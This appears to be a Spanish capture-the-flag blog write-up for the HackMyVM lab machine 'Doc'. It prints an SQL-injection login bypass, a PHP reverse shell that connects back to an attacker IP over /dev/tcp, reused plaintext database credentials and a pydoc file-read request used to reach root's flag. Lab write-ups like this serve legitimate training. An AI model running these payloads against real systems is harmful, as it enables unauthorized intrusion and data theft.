cd ~/blog

~/writeups/hmv/075-doc.md

075 - Doc

easy Linux hmv 19-04-2024
SQL Injection (auth bypass)File upload (RCE)Credential reuse (initialize.php)sudo pydoc arbitrary file read (CVE-2021-3426)
hackmyvm.eu/machines/machine.php?vm=Doc

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.102
 nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-19 16:59 -04
Nmap scan report for 192.168.1.102
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
|_http-title: Online Traffic Offense Management System - PHP
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: nginx/1.18.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.11 seconds

Enumeramos con gobuster:

 gobuster dir -u 'http://192.168.1.102' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index.php            (Status: 200) [Size: 14323]
/admin                (Status: 200) [Size: 22482]
/config.php           (Status: 200) [Size: 0]
/uploads              (Status: 403) [Size: 153]
...

El sitio es el Online Traffic Offense Management System y descubrimos el dominio doc.hmv (lo añadimos al /etc/hosts). El login es vulnerable a SQL Injection de bypass de autenticación:

admin' or 1=1-- -

Dentro, creamos un nuevo driver y, en el campo de la imagen, subimos una reverse shell PHP:

 cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.3/1234 0>&1'");
?>

Al editar el usuario se ejecuta el archivo y obtenemos una shell como www-data:

 ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.102:39374.
bash: cannot set terminal process group (325): Inappropriate ioctl for device
bash: no job control in this shell
www-data@doc:~/html/traffic_offense/uploads/drivers$

En initialize.php encontramos las credenciales del usuario bella:

www-data@doc:~/html/traffic_offense$  cat initialize.php
...
if(!defined('DB_USERNAME')) define('DB_USERNAME',"bella");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"be114yTU");
...

www-data@doc:~/html/traffic_offense$ su bella
Password: be114yTU
bella@doc:/var/www/html/traffic_offense$

Obtenemos la primera flag. Revisamos sudo -l:

bella@doc:~$ sudo -l
Matching Defaults entries for bella on doc:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bella may run the following commands on doc:
    (ALL : ALL) NOPASSWD: /usr/bin/doc

Analizamos el binario doc, que internamente ejecuta pydoc:

...
/usr/bin/pydoc3.9 -p 7890
...

pydoc -p es vulnerable a una lectura arbitraria de archivos (CVE-2021-3426). Como el servidor solo escucha localmente, lo arrancamos como root y lo consultamos desde otra shell:

bella@doc:~$ sudo doc
Server ready at http://localhost:7890/
Server commands: [b]rowser, [q]uit
server>

www-data@doc:~/html/traffic_offense/uploads/drivers$ curl http://localhost:7890/getfile?key=/root/root.txt

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados